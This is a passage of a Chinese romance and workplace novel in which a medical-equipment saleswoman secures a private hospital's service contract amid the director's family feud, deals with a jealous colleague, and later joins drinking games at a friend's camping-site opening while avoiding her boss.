她着魔般,觉得不甘心,安分守己的二十来年,好像没有真的贪求过什么。就这一次,就当是青春期的叛逆迟来了几年,她想,再多得到点什么。
她问:“你......想看日出吗?”可以再多待一会儿吗?
她没做任何的攻略,不知道哪里可以看日出,如果他答应,她得现找地方。虽然他更可能不会答应,他明天还有工作,吃饭的时候,隐约有聊到过。但她随着心意主动提出,就不怕被拒绝。
如果他不同意,她不会强求。应该会觉得丢脸,但脸丢在这个陌生地方,也还好,进退都很安全。
没有人知道,不以任何形式被记录,反而给了她极大的安全感。
“日出?”他表示了疑问,在得到肯定后,抬手看了看表,这个时间点准备看日出显然有些荒谬。
姜渠认真地想了一会儿,或许他正在猜测她的意图,又或者他早已全权掌握,只不过在权衡利弊。辛熙有些紧张,她经验不足,毫无把握。
随后,听见他问:“要不要去看星空?这附近有个露营基地。如果运气好,明儿一早,是有机会看见日照金山的。”
“可以的呀!”几乎不假思索地回答。
做什么都好的呀!辛熙的眼睛一下子就亮了,如果她能看到自己,一定可以看见满目星光。
那一晚,她看见了最美的星空,月亮如盘,繁星似盖,他们并排躺着,星空自无尽处流溢而下,仿若近在咫尺。她被造了一个美梦,好似只要她踮脚,就能触碰到。
辛熙在出租屋里想起那夜的盛景,无比感叹。有时候,会庆幸自己见过;有时候,又恨自己见过。她拿出手机,拍了张今晚的月亮的照片,用属于瑞拉的那个私人小号,发了条朋友圈:我怎么敢爱月亮啊。
这个小号,通讯录上空无一人。
夜里她做了个梦,梦见自己独自站在高山之巅,手里拿着个托盘,她真的在摘星星,一颗又一颗,滚烫而耀眼的被她握在掌心,她一边摘一边乐呵呵地数着,“一颗两颗三颗......是我的,我的,都是我的哦”。
嘿嘿嘿,辛熙直接从梦里面笑出了声。
要不是手机铃响,她觉得她能将所有星星收入囊中。
庄来的电话将她拉回了现实生活,圣南的事情尚无进展,庄来比她还希望她能干成,于是总给她透露消息。
“这是你最后的机会了”,庄来说,“今晚,程院长的小舅子做东,请了程院长和第三方公司的人吃饭,要谈什么,你应该很清楚。”
清楚是清楚,可我能干嘛,冲到酒桌上去砸了他们的局,一哭二闹三上吊,跪求甲方:行行好吧,就考虑考虑我吧,求求了。
辛熙这么想却不敢这么干,但她还是很感谢庄来,郑重地说,“知道了,我会努力的,不管结果如何,都很谢谢庄老师。”
先去洗了个脸,对美好梦境的留恋容易让人在现实里软弱,她不想耽溺于此。
想了想,又给江准打了个电话过去,来时听他说起,他们公司之前也试图做过圣南的业务,但最后没成。
江准笑说:“没有成功的经验给你借鉴,失败的教训倒有不少可以分享。”
江准还真帮着打听到了不少事,其中最重要的信息便是程院长和其夫人最近似乎正在闹离婚,“不过,是他老婆要和他离,他不愿意。”
辛熙觉得自己魔怔了,听到人家夫妻俩要离婚居然有些窃喜,想着离了婚,小舅子就不是小舅子了,事情说不定能有个转机。
“哎!我可太坏了。”
江准在电话那头笑,说了句古话,“君子论迹不论心,论心世上无完人。”
辛熙也跟着笑。她习惯了做一个好人,遵守社会秩序和伦理,但不代表她没有私心。虽然随之而来的,是道德枷锁的鞭笞,是自我谴责。
辛熙还是去找了程院长的夫人。
程院长的夫人常乐和黎芃是大学同学,而黎芃是江准的重要客户,至于重要客户为什么会接二连三地帮助乙方,辛熙无从得知。她是既得利益者,就不好舔着脸去探知个为什么了,也许是客情关系做得足够好吧。
这一点还是需要向他学习的。
认识江准的这段时间,她发现他有着超出他年龄的成熟稳重,比起很多同龄人来说,他通透练达,也更能抗事。他们做医药代理,左手要从厂家手中拿下代理权,右手还得和医院搞好关系把药卖进去。个中艰辛,他虽没说过,但她也能了解个两三分。尤其,还有个肖楠,得空了就找她吐槽个一二三。
肖楠常说:虽然我们现在代理的只有几款基础药,但相信,假以时日,在准儿哥的带领下,我们一定可以很快地做大做强。
辛熙也同样相信。
黎芃将辛熙引见给常乐后,就借口医院忙,自动隐身。
辛熙非常感谢。黎芃帮了她几次,却拒绝了她的谢礼,她说:“你知道的,我为的不是你。”
“当然,当然”,辛熙其实有些似懂非懂,但不好承认,连说了几个“明白”。
客情关系非一日之功,她当然明白,自己对于黎芃的价值,暂定为零,她当然不是为了自己。
辛熙在咖啡店见到的常乐,比起一般养尊处优的富太太,她更添了一种精明,但这种精明的棱角又有些被磨损。
“听说你是麦高的?”常乐开门见山,“你大概不清楚,我已经很多年不管医院的事务了。”
辛熙当然没有天真地以为,就凭自己见这一面,说上三两句话,就能获得对方的信任或支
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持,甚至扭转局面,所以她很坦然地将此行的目的解释为,“我初来乍到,只是想多认识些圈里的前辈,攒攒经验。听芃芃姐说,您在和程院长结婚之前也在做业务,就舔着脸,想着或许可以向前辈取取经呢。”
“这都多少年前的老黄历了”,常乐喝了一口咖啡,眼神里不由得流露出一种对昔日的怀念。属于她的风光,早就过了。
辛熙继续说:“我们公司的同事好多都还记得您呢,他们都说,当初输在您手上的单子太多了,都没给机会让他们一雪前耻,您就退了,真是太遗憾了。”
“是么?”常乐的唇角往下勾,倒不是真的质疑。
“蒋经理-蒋星,您还有印象吗?”来时她做足了功课,在公司内外都打听了一圈。还好因为她平日里办事靠谱,人缘还是不错的,谁都愿意指点两句。
“小蒋啊”。
常乐的这句“小蒋”,让辛熙一直提着的气松懈下来,笑说:“也就您能叫她小蒋了。她现在可是我们东北三省的省区经理了”。
“不错啊,她回东北了?”常乐的思绪被带回到几年前,无比感叹,“我记得她跟着我那时,才刚毕业,嫩芽般的小女仔,莽莽撞撞地。”
辛熙忍住笑,脑中浮现出蒋星那一头利落的短发和随时随地辐射的强磁场,和嫩芽倒是半点不沾边了,“嗯。蒋经理听说我要来拜访您,特意叮嘱我,多听多学。她说她当年就是多亏了您的提携,带她见世面,教她做单子,建渠道,才有现在的她,她都一直记着呢。”
常乐的眼神里闪过复杂的情绪。
若忆起当年,她有很多壮志难酬。
当初,程泉向她求婚,婚前说好了不干涉她的工作,但结了婚的女人顾前难顾后。那时,圣南又刚刚起步,家里上有老下有小,周围人都默认了应该她退下来照顾家庭,连她自己都没有察觉到任何问题。仿佛女性为家庭放弃如日中天的事业,理所应当。
是后来,在儿子对同学说“家里全靠爸爸赚钱,妈妈只知道花钱”的时候,是在陪着程泉参加商务活动听到底下员工背后笑说“不就是嫁得好,拽什么拽”的时候,也是在听到老公和人聊起行业前沿资讯而她已经听不懂,只能陪着其他太太们聊美容的时候。
被无数个这样的时刻垒叠起高耸又岌岌可危的墙垣,反复围困当初那个心甘情愿的自己,自己的人生价值难道只能是让老公和孩子的人生更有价值吗?
清醒后带来的苦恼,是身边所有人的不理解:你怎么身在福中不知福?你知道我们都多羡慕你吗?
她提出重新回到圣南主持工作,老公不理解,“好好的日子不过,干嘛非要出去受累?自己多大年纪了不知道啊。我要像你一样有人养着,我巴不得天天在家。我看你啊,就是太闲了。医院有你弟看着,你还有什么不放心。”
弟弟常兴也劝她,“你别有事没事又作又闹的,有那时间和精力不如多去几趟美容院。留住男人的心比什么都重要。姐夫有如今这身份地位,你以为往上扑的还少吗?要不是有我看着......没有男人会喜欢作闹的女人,你再这么闹下去,岂不是给了外面人的机会。”
常乐只觉得好笑,如果这些年是她在外面拼搏,不见得会比程泉混得差。她可以抢资源、抢客户,却最不屑于抢男人。
44. 第 44 章
辛熙没有想到她会被常乐邀请去参加晚上的饭局,这超出了她的预料。
原本,她只是想从常乐这里寻找突破口,既然小舅子的地位不可撼动,那么是不是可以从竞争关系转成协作,撬动第三方的位置,虽然麦高的利润会有折损,但有总比没有好,也算是曲线救国了。
常乐没解释原因,她将辛熙带到饭局上,也没做特别的介绍,就开始了自己的商业应酬。包厢里坐满了西装革履的人,大多是黑白灰的配色,见常乐进来,一个个整整齐齐地打招呼,但问得最多的还是,“程院长呢?”“常总呢?”
辛熙找了个靠边的位置坐下,几个月的历练,她在应酬局上已经没有刚开始的局促。
以前她过分地在意自己的表现,怕露怯,怕得罪人,总觉得别人看自己的时候内心肯定在做评价,这人是谁,来这干嘛,怎么好意思来这儿。经历多了才明白,在你是nobody的时候,对别人来说,不过是no one else。
没过一会儿,服务员推开包厢的门,两个中年男人意气风发地走进来。
坐在椅子上的人纷纷起立迎接,给足了面子,“程院长、龚总......”满堂都是恭维的声音。
辛熙也跟着起立,准备刷个好印象,眄眼瞧见常乐脸上闪过淡淡地落寞。
这顿饭开始得平平常常,辛熙唯一的收获就是在常兴的面前刷了把存在感,当旁边人提起,说她是跟着常乐来的时,辛熙顺势端起酒杯敬他。
过去,也有不少人想通过讨好常乐搭上他们,一般在常乐那儿就给挡了,少有带到他们面前来的。常兴不由得多打量了几眼,平平无奇的小美女,没瞧出什么不同,“我姐让你来的?让你来干嘛?”
这话问得人尴尬,旁边有听到的人跟着扭过头来瞧她,好像她是来蹭局的,其中一个发际线后移到了耳根位置的男人接过话,一脸暧昧地揶揄,“常总,怕不会是你姐要给你介绍的对象吧?”
辛熙的脸跟着就红了,忙解释:“不是,不是,您误会了。我是......”
话还没说完,坐在中位上的常乐突然用银勺敲了敲杯壁,随后举起杯,朝在座的敬酒,“圣南是在各位同行的支持下才坚持走过了这些年,我和老程一直非常感激。这杯酒,我敬诸位。”
常乐仰头喝下,又给自己添了第二杯,目光虚虚地飘着,“记得在成立之初,我们手上的资金不足,老程四处融资贷款,喝酒喝到胃穿孔。我呢,就负责联系同行,招聘人才,租赁设备,求着所有供应商让我们分期付款。筹备的那大半年,我俩一起老了十岁。所以这杯,老程,来,敬我俩。”
程泉端起酒杯起身,想拦又不敢拦,只说:“少喝点,咱年纪都不小了。”
常乐朝他点头致意,果断喝完了这杯酒,撒眸四顾,满桌的面孔都很陌生,早都不是初创时合作的那一批人了。
常乐又再添了第三杯,“最近圈内总有一些关于我和老赵的传闻,是真是假,各位慧眼可以自行辨别。我想说的是,这些年我们一起经历的风风雨雨,不是外面随随便便三两句话就能画句号的。”
程泉险些老泪纵横。圣南的困境,她看得比谁都清楚。夫妻俩生嫌隙,到底便宜的都是外人。
常乐招呼常兴过来,“这第三杯,姐敬你。这些年,你也辛苦了。”
常兴有点莫名,这不是她的一贯风格,过往这样的饭局,她一般甘当绿叶陪衬,甚少出风头,但还是碰了杯,直言:“自家人,哪有什么辛苦的。”
常乐轻笑,半是玩笑半认真地说:“也难怪圈内都说我们圣南是家族企业,你看在座的各位,谈合作什么的,都只认你这一位常总。”
这话一出,倒是一旁的程泉先变了脸色。
这顿饭,就从这里开始,起了波澜,变了味儿。
包厢一侧设有茶室,程泉和常家姐弟在里面待了很久,具体聊的什么,无从得知,只偶尔从门缝里传出些“过河拆桥”的字眼,将滔天的怒意漏了马脚,又被强制按下,归于平静。
满桌的佳肴再无人品尝,除了角落里,那个脸生的小姑娘,静默无声地吃着就近的菜,倒也没好意思大幅度地转动餐桌。
可能真是来蹭饭的吧,有人嫌弃地撇了一眼。
辛熙没有自己表现的那么平静,她尖着耳朵在听,暗暗揣测这风雨骤变的原因,总不会自己就和常乐喝了杯咖啡,就惹了场大祸吧?
茶室的门被嘭地一声打开了,惊得她手一抖,刚夹起来的小虾仁掉到地上,来不及可惜,就见常兴气冲冲地走出来,拿起挂在椅背上的外套,不说一句就要往外走。有人想劝,被他推开,直言:“有什么事情问他们两口子吧,他们才是一家人。”
不知道是不是错觉,辛熙感觉常兴走出去之前,恨恨地剜了自己一眼。
随后程泉出来,说了些安抚人心的官话,紧接着宣布了一个重要的决定:往后的医药、耗材、器械、甚至是后勤保障的供应商都将采取公开招标的方式,而常乐将主要负责这一块的工作。
临到散场,有人在叫好,公开招投标意味着少了中间商赚差价。甲方降低成本获得更优质的服务,而乙方获得公平竞争的机会。当然,也有人叫苦,常兴作为之前的全院打包商,若被踢出局,场面上的这些人很难不全翻进这个沟里。
程泉在经过辛熙身边时,认出了她,意味深长地拍了拍她的肩,“你的那份方案可以派上用场了”。
常乐一直留在茶室,等到人都散了,夜色香浓而幽弥,她走出来,包厢已经被收拾得干干净净,只一个小小的影子斜靠在椅背上,听见声响,立马站了起来。
“你怎么还在这儿?”
“我......”辛熙不知道该如何解释,她只是觉得现在这个局面自己有一定的责任。包厢内,只有茶室亮着灯,常乐背着光站着,辛熙看不清她的表情,尝试着问:“常乐姐,你还好吗?我没想到......”
常乐闷声不语。
辛熙看着她走向自己,觉得此刻的她和白日里稍有不同,那些被磨损的棱角重新被雕刻,磨砺出了锋锐的刀边。
“怎么?你以为我在里面哭吗?”
“您应该很难过吧”,和家人闹得四分五裂,没有人会不难过的。
“当然”,常乐没有否认,但情绪是最不值钱的东西,她说:“但我刚才在里面,只是在拟写招标公告,晚一点你就可以在官网查到了。”
辛熙有点错愕,目光呆呆地望着并不清晰的轮廓。
“我已经浪费了太多时间,你今天有句话说得很对,既然我不甘心为了家庭牺牲事业,那又怎么知道自己某一天不会因为事业牺牲了家庭而后悔,所以咯,我决定,事业和家庭我都要”,那就只能牺牲点别的了,比如,一直打着她的旗号,把控着采购权的亲弟弟。
辛熙张了张嘴,有些话在唇齿间摩挲。
常乐不愿
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意多谈,她们之间还没有建立这种信任和交情,“走吧,我送你回去”。
回到出租屋里,辛熙的心里总还是有些别扭,这让她想起了小时候的一件小事。
假期里,她随爸妈回姥姥家玩。姥姥家在农村,正值水稻丰收,家家户户的前门后院都堆起了高高的谷堆。
村里有一个说法,说小孩子在晚上,容易被脏东西跟着,需要给兜里揣几根火柴棍或几把米,所以每次去,姥姥都会给她装上一盒满满的。辛熙有个表叔爱抽烟,那天刚好手边没有打火机,正是喜欢展现自己对人有用的年纪,辛熙主动请缨要给表叔点烟。但那天风大,她点了几次没点燃,就顺势躲到谷草堆后面避风。表叔呢,有个儿子,大不了她几岁,最喜欢欺负她,悄悄绕到谷草堆的另一头,趁她不注意吓唬她。辛熙一个激灵,点燃的火柴棍被扔进了谷草堆里,火势瞬间起来,连片地烧,把傍晚的天色都照亮了。
表叔连忙拽着表哥走了,只剩她呆呆地傻站在那儿。
事后,邻居追责,火是她点的,爸爸认赔。妈妈看着她被烧焦的发尾,大骂表叔不厚道,就只顾着躲避责任,要是烧着孩子怎么办?
这一次,她好像又干了一样的蠢事。
辗转反侧之际,正好看见工作群里,赵志远在说第三季度关单的事情,辛熙就汇报说圣南要改公开招标。
都是一个圈子里的,这点动静,早就有人说给了张鑫,张鑫在群里明褒暗贬地说了几句。夸她能干,三两下就说服圣南的决策层改变了营商模式,连人家两口子闹离婚都能给劝好了,还说整个津南的医疗圈都知道她的大名儿了,往后京津冀的兄弟们也都得靠熙姐的指点混口饭了。
话说得越来越过,辛熙哪里听不出来他的讽刺。她知道有些销售喜欢夸大其词,在客户面前吹嘘产品,在同事面前吹嘘能力,褒贬别人都会极尽他们平生所学的修饰词,但她不喜欢这样。
辛熙回复:谢谢提醒,我知道自己几斤几两。
张鑫却没就此放过,继续弯酸,话里还说要她将他手里难缠的客户都接过去,她那么有本事,肯定都能搞定。
卢湘也在这个群里,给辛熙发来几个大大的问号:你什么时候把咱销冠给得罪了?他这么恨你。
辛熙发了个两手一摊的表情:不知道啊
卢湘:堂堂一销冠,咋这么小气。
辛熙对着手机长吁一口气,对于张鑫的敌意更多的是不解。在麦高的这一年多,她对所有销售,几乎都是力所能及地协助,也从没真的和谁起过争执。张鑫因为业绩好,自然事情也多,找她的机会也更多,除了偶尔的甩锅,大多时候还是友好的。
没一会儿,卢湘又给她甩来一张截图,是拟定的下季度的场地分配,还只是初稿,没有下发给销售。卢湘是从李元那儿要来的,而张鑫肯定也有自己的方式提前看到。截图很清晰,可以明显看出,张鑫手上有几个客户确确实实是要转交给辛熙的,不见得多优质,但也是能出单的。
卢湘:销售都是拿提成的,你分走了他的客户,他不恨你才怪呢。
辛熙:可奖金系数是和完成率挂钩的,客户少了,任务也会减,对应的完成率不一定会受影响。
卢湘:你给我说不着啊。谁让你要转岗的,利益越大的地方,争斗也会越多。你还不习惯吗?需要你的时候,你是宝儿,是好姐姐、乖妹妹,一旦涉及点利益冲突,这些人,不咬死你,也得吃掉你几斤肉。
45. 第 45 章
辛熙正噼里啪啦地打字,准备反击张鑫,大家都是同事,目标应该是一致的,如果有意见可以直接提,没必要阴阳怪气的,虽然大家都是成年人,真还不如学学小孩子,有意见就明明确确地说出来,大不了一句“再也不跟你玩了”。
还差最后两个字的时候,微信界面上跳出来姜渠的消息,四个字:怎么回事。忘了他兼任北区的Diretor,所以也在那个群里了,自然也能看到。
没有问号,就不是询问,大概只是想在矛盾被激化之前压下去。作为群体的leader,他不需要了解详情。调解是非对错,那是街道办主任的活儿了。
辛熙将码好的字删除,回到主页面,息事宁人的永远是更需要群体认同的一方。
辛熙还没想好怎么回答,姜渠的电话已经拨了过来。自那天匆匆一别,他们许久没有联系了。辛熙只偶尔从黎英的口中,听到点事情的发展,元如苏在京北没待上两天,就又走了。
辛熙想过给姜渠打个电话问候,说几句体贴宽慰的话,但作为一个懂事知事的下属,在不小心旁观又间接性参与了领导家的那些乱糟糟的私事,她不确定,这种关心是否有些超越本分。
电话接通,辛熙沉默着,等着被质问......文字不带情绪,她大概还能态度恭顺地回复他,以粉饰太平,但打电话就不一样了,修炼不够,做不到以理智克制情绪,只好保持沉默。
“说话。”
“说什么......”
听筒里,姜渠那头的背景音乐逐渐变小,他应该是换了个地方,才又问她:“闹什么情绪?”
“没有,哪儿敢.......”声音小小地,别扭着。
姜渠大概能想象出来她的表情,垂着眸子,瘪着嘴,倔强地忍耐着。忽略掉她的不配合,他问:“圣南是什么情况?”
明眼人都看得出来的状况,非要她再解释一遍吗?辛熙憋着气:“这种小事,您也空来过问吗?”
“辛熙”,姜渠忽然重声叫了声她的名字。他扯松领带,仿佛刚才被什么扼住喉咙,闷咳了一声,拖出疲累的尾音。
辛熙想到离开京北的那天早上,车窗摇下来后,他眼底醒目的青色,心微微刺疼,但又有种轮不到自己关心的怅然,遂又沉默下去,将情绪和纷繁的念头掷于沉静的夜色里。
“就.......圣南医院所有的对外采购项目之前都是院长的小舅子作为中间商来对接的,我本来想说,和医院直签合同比较困难的话,那可以努力争取下和小舅子的公司签代理合同,就去找了院长老婆,给她看了我的方案,院长老婆之前也是做这行的......”
电话里姜渠不时地回应一个“嗯”字,示意她继续往下说。辛熙已经在脑海中反复将此事的每个细节都整理过,说给姜渠的时候,自然也就很顺畅,至于张鑫的阴阳,轮不着她告状。
姜渠听完,只说了一句,“那就正常投标”。
“啊?”
“对你的方案没有信心?”
辛熙赶紧摇摇头,才想起他看不见,赶紧又补了句,“方案没有问题”。
“那你在犹豫什么?”
声音徐徐传来,“我就是有点懵,我只做了一点,但又好像......”好像自己是多米诺骨牌的头一张,后面的连锁反应超出了她的预料。
电话那头有人叫了姜渠一声,声音不大不小地揶揄,“什么电话打这么久,不会是在被女朋友查岗吧”。
姜渠随意地应付了几句,辛熙不知道姜渠听到这话的时候是什么表情,她只能感觉自己贴着脸的手机在变烫,“那您先忙,我这......”
“没事,你继续说。”
“也没什么太重要的了......”
通话的背景又恢复安静,安静到她将姜渠的一声轻喟听出了挽留的意思。扼住掐断对话的指尖,辛熙重新将电话放到耳边,听见他说:“高桥教你的,还记得吗?”
高桥?好久远的事了,这个名字重新蹦进耳朵里的时候,辛熙差点没想起来了......他说......要近水楼台先得月,要搞定姜渠。
辛熙直接从藤椅上站了起来。她现在站的位置,是那个炙热的事后清晨,她被拒绝的位置。
这男人真是狡诈,拒绝了自己,又吊着自己,说似是而非的话,做想入非非的事。
圣南医院的合同走完流程到签字盖章的那一天时,京北已入秋。
辛熙的第一单多年期合同,就这么成了。她从圣南取走签字盖章的合同原件,十几页纸捧在手里,既轻又重。她特意绕道去了医工科,庄来正在伏案工作。辛熙抱着合同,敲门进去,拍拍怀里的文件袋,乐呵呵地朝他笑,“庄老师,今后就由我们麦高来为贵院提供设备维保服务啦。您今后若有任何问题,请随时、随地、随意,联系我。”
庄来取下眼镜,“虽然这次只签了血管机和CT给你们,但只要你们好好做,以后还有机会的。”
辛熙非常感谢他一开始的信任,拍拍胸脯保证,“明白,您放心。”
她就这么一直捧着圣南的合同,回了京北,交到相关同事手上,扫描留档,亲眼看着它被存入档案室,心才有了一点真实的感觉。
那感觉真的太棒了!
但凡有人见过那天的她,都应该能对“人生得意”这四个字有具象化的理解。
何耀丹正坐在姜渠的办公室里和他谈事情,她先发现姜渠的心不在焉,眼神总有意无意地扫过外面的走廊,待回神时表情又会明显添了笑意。她顺着目光也看见了那个正春风得意的人影,被三五几个同事簇拥着,正在点下午茶。
何耀丹跟着叹了一句,“有时候还真挺羡慕辛熙的,运气真好。像圣南这种家族经营的私立医院,外人一般很难打进去。早就听说程泉想换掉小舅子的公司,但又碍于妻子的面子,一直拖着,这回刚好......”
“听说,给圣南的方案是你指导着辛熙做的?”姜渠打断了她的话。
“嗯.....是,我只是给了点大方向上的建议。”
姜渠翻阅平板的手并无停顿,语气随意,“方案我看过,做得很好,里面有大量的市场调研和同等级医院的数据参照。”
“是的......辛熙也付出了很多的努力。”
“光努力可不行。做业务永远以结果为导向,运气和能力缺一不可。”
“姜总,您似乎很欣赏她?”
姜渠这才停下来看她,脸上挂着洞明的笑意,“我记得何工之前也挺欣赏她的。”
“当然”,何耀丹也很坦然,“她有韧劲,聪明且好学,不像现在很多年轻人要么心浮气躁,要么任性自我。”
姜渠将平板递回给何耀丹,对于这个的话题并不延展,而是说回正事,“这次的优化做得很好,测试没有问题的话,可
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以推广到全国,先跑一轮基础数据。”
“好的,我去安排”,何耀丹起身,犹豫着问:“那这事儿要不要先跟辛熙说一下?”
姜渠并没有回答,揉着发紧的眉心,何耀丹意识到自己的多话,脸色微变,略显难堪地补了一句,“那我先去忙了。”
“去吧。”
何耀丹刚走出办公室就开始后悔,嫉妒心真是个可怕的东西,她刚才的行为并不磊落。
从工作上而言,她自信笃定,从来没有把辛熙当过对手,相反的,她期待着辛熙的成长,甚至期待着某一天,她可以成为强有力的伙伴,与自己匹敌。但感情上,似乎又很难消解对她的嫉妒心,这种下意识的反应也让自己觉得羞耻。
辛熙在何耀丹经过时将她拉住,她要请下午茶,问她想吃点或喝点什么。虽然这一点点,远远不足以表达她对何耀丹汹涌澎湃的感激之情。一路走来,得多亏了何耀丹给她答疑解难,将她一个略懂皮毛的门外汉领进了专业的门,虽然门里的世界如此浩瀚,她还只摸到了门边儿。
何耀丹摇摇头,指了指办公室的位置,“抱歉了,姜总安排了任务,我应该没有时间享受下午茶了。”
辛熙赶紧松开,生怕耽误了,“哦哦,那你快去忙。我看着点,待会儿给你送过去”。
姜渠透过玻璃,将一切看在眼里。有时候觉得她敏感又尖锐,外界的风吹草动轻易就能在她身上砸出一个坑来,有时候,又不知道从哪里生来一些能量,将坑填得又满又密实。
卢湘在一旁提醒辛熙,“姜总办公室没人了,你去问问他喝什么啊?”
“不用吧......他应该不喜欢这些吧。”
卢湘一副恨铁不成钢的表情,“他喝不喝是他的事,你问不问是你的事。上回,张鑫在群里蛐蛐你,他不还帮了你吗?你可以借机表达感谢,再顺便和老板套套近乎啊。”
“他哪是帮我啊,他就是正常在群里问了个工作上的事。”虽然姜渠一发言,立马有积极的人跟出来回答,几句话就将前面的内容淹没过去。赵志远后来私聊她,说已经批评了张鑫,不该在团队里制造矛盾,也希望辛熙不要放在心上。
卢湘翻着白眼走开,“懒得管你”。
一直忙到下班时间,林早打电话说已经在公司楼下等她了。辛熙赶紧悄悄关了电脑,弯着腰,做贼一样地往电梯口溜。
碰到别的部门同事开玩笑,吓唬她:“我刚可瞧见你们姜总还在办公室里呢,你这就溜啊。”
辛熙心虚道:“他一般不管我们,只要别耽误工作就成。”
“啊~他这么好的吗?”同事表示十分羡慕。
“当然,当然,我们姜总可好了”,辛熙只想赶快敷衍过去,急匆匆地进了电梯,没注意到转角处正走来的人。
徐进的露营基地准备开业,邀了不少朋友捧场热闹,辛熙算不得他的朋友,但林早说,“我的朋友就是他的朋友啊。熙熙姐,还好你回京北了,不然我今天都不知道该找谁陪我去”。
他们和好如初了,辛熙并不意外。
“但他的朋友可不是我的朋友”,林早说这句话的时候已经没有了之前的苦涩,“不过无所谓,徐进答应让我在那儿开了家超市,平日里就让我爸看着,也算给他找点事做。”
“叔叔身体咋样啊?”
“上周刚复查了,医生说,挺好的。”
“那就好。”
46. 第 46 章
往栖云山的路一路畅通,林早新手上路,开得慢,等到了的时候,天色已经暗下来。彩色灯带顺着山脊线,将整个基地在暗色里高亮出来,远远就能瞧见“自在王国”四个大字在熠熠生辉。
不得不说,徐进是有商业头脑的。他选的这个地方,地理位置占据优势,风光宜人,还将先前零散杂乱的小摊贩聚集在一起,做成了一条热闹又极具特色的街市。白天可以赏湖景,郊游娱乐,逛小吃街,晚上可以露营扎寨,看满天星布,生篝火,听说盛夏时还会有萤火虫作伴。
她们到的时候,徐进正在台上致辞,林早拉着辛熙往前走,刚挤到半道,就瞧见了站在前排的姜渠,人群中格外的显眼,辛熙赶紧停下来,“早早,那个,我,我先去下洗手间啊”,随后没等林早反应,急急尿遁。
这份怯懦的心思,既来源于不想在工作日碰见公司大领导,也源于对此前一些苗头的不敢窥探。
辛熙在洗手间磨蹭了好久。洗手间的洗手台是露天的,设计得颇有意思。青石板架起的水台,仿作曲水流觞,洗手的水从下往上汩汩地冒,辛熙在这儿玩了一会儿,估摸着开业致辞结束才准备走。
正此时,两个女生结伴出来,丝毫不避讳他人地继续说闲,“你瞧没?她那一身logo。”
另一女生一听,笑得格外大声,拿捏着一种怪异的腔调,“好土啊,现在谁还那样搭配,生怕别人不知道徐进给她花钱了。”
“对啊,还一副女主人做派,招呼我们吃这个喝那个的。我都快笑死了。”
“是的呀,徐进当初追你时,比这大方多了。”
“可能经济下行,消费降级了?”
女生口气轻蔑,打开水龙头想洗手,却不见出水,就听见旁边有人提醒,“可能山上水压不足,我刚用着还正常呢,你看看是不是接口歪了?”
女生也没多想,倾身向前,水龙头出却突然出水,冒得有一丈高,将临近的两个人淋得个半湿,原地嗷嗷地叫。
水池下,辛熙悄悄收回了踩住水管的脚。
恶作剧的时候,表情很难控制得恰当,所以得逞后一时很难收住,可不巧,她这时又瞧见了姜渠。她不确定他有没有看见她,但看没看见,她都是要躲的。
自在王国的风景,辛熙无瑕欣赏,缩头的乌龟只想快些躲进自己的安全壳。
可他在人群里高挑出彩,她越是想避开,越是能在人群里精准定位,好像她的四面八方都有他。与友人举杯谈笑,拿足了精英人士的格调,回身运动场上,又是一身昂扬意气。他扔飞盘的动作干净利落,变换位置时迅捷得像一只猎豹。休息时,有女生主动送上了水,但他客气地没接,笑着拿起了自己的保温杯,像个洁身自好的已婚男士,到了该修身养性的年纪。
保温杯里该不会真是枸杞吧?辛熙没头没脑地想。忽然一个眼风甩过来,吓得她赶紧又躲到人后。
真的心力交瘁。
辛熙找到林早的时候,她已经被灌了不少的酒。一群靓丽的青年男女凑在一起玩游戏,辛熙发现她在洗手间外偶遇的那两个也在其中,妆容稍有失色,眼神里的打量过分赤裸,并不友好。
林早见到她,就像见到了救星,凑到她耳边小声说:“熙熙姐,你来得正好。徐进右边那女的,看见没,太贱了,和她小姐妹联手搞我。你快来帮帮我。”
有了上一回在club的经验,林早还能如此相信她的能力,辛熙哭笑不得,劝她:“早早,要不你陪我去前面看看吧,那边还有好多玩的。”
林早自然不肯,她得在这儿看这徐进,“那些有什么好玩的呀”,林早半点没犹豫,又坐回去,往徐进身边挤了挤,拍着身旁的位置说,“熙熙姐,坐这儿,我们刚玩的酒桌游戏可好玩了,一起玩吧。”
辛熙无奈,只得跟着坐过去。
这时,不知道谁发现的场上男女各半数,遂提议,“我们男女岔开坐,换一个游戏”。
这话一出,立马引起大家的附和。辛熙的左右换成了不认识的男生,这让她有些拘谨,想找借口开溜,偏又瞧见了姜渠,正站在稍远的地方张望,赶紧规规矩矩地坐好,借着左右人遮挡。
他一向不喜欢这些游戏,应该不会走到游戏区来。
他们换的游戏叫做“眉目传情”。每个人拿一颗骰子在手里,摇好后盖在桌面上,闭眼等待主持人发出指令。主持人会随意指定摇到单或双数的人,自由选择转向自己的左边或右边,待主持人说可以睁眼时,碰巧对望的人需要喝交杯酒,而没有与人对望的则需得自罚两杯。
酒桌游戏的目的可不是为了躲酒,而是让那些怀揣的小心思,可以体体面面地收放自如。
辛熙发现,林早永远选择转向徐进的一方,所以一旦她摇中,她只能得到两个结果,要么会和徐进交一杯,要么就是喝两杯。可徐进却似乎没有那么坚定的选择她,在他俩单双数不一致的时候,他会果断选择另一边。他当然有合理的理由,玩游戏不能不想赢。林早也不能生气,游戏嘛,当不得真,不然就是她玩不起。她只能和其他人一样,在徐进和别人喝交杯酒时跟着起哄。
辛熙将自己的骰子护得很好,但也耍尽了心思。读书时没能作的弊,都在酒桌上补齐了。她顺利地避开了几轮,有轮到她的时候,就悄摸地注意着左右,避开单双数一致的左右方。当然,也因此连连喝了不少。
正当她为自己的小聪明窃喜的时候,徐进却突然高声提议,“咱们摇骰子的时候都藏好了啊,别给旁边人看到,不然我女朋友以为我故意呢。”
林早配合着,略显赧意一边打他一边被他拉进怀里。
辛熙犯了难,如果她不能偷看到左右的单双数,她就无法准确地避开,想了想推开手里的骰子,借口说:“要不你们玩吧?今儿太晚了,我得先回去了,明儿还要上班呢。”
她当然知道自己做了那个扫兴的人,大概会被酒桌上的所有人鄙视,即便她背着一些愧疚感,但内心守着的原则却不允许她妥协。
她不想和任何人喝交杯酒。交杯酒在传统意义里是夫妻新婚时才能喝的合卺酒,演变至今,早已似是而非,那点所剩不多的含义反而成了酒桌上调情助兴的滥调。她经历多太多次了,尤其是在部门聚餐的时候。和领导、同事,似乎都可以来这么一次交杯酒,拉进距离,加深感情,方便今后的工作交流,但每一次,她都拒绝了。
当然没有一次能够轻松躲过。
徐进拦她,“别啊。你这走了,我们人都不够了。总不能让他俩大男人互相眉目传情吧。”
林早也劝她,她一走,游戏进行不下去。
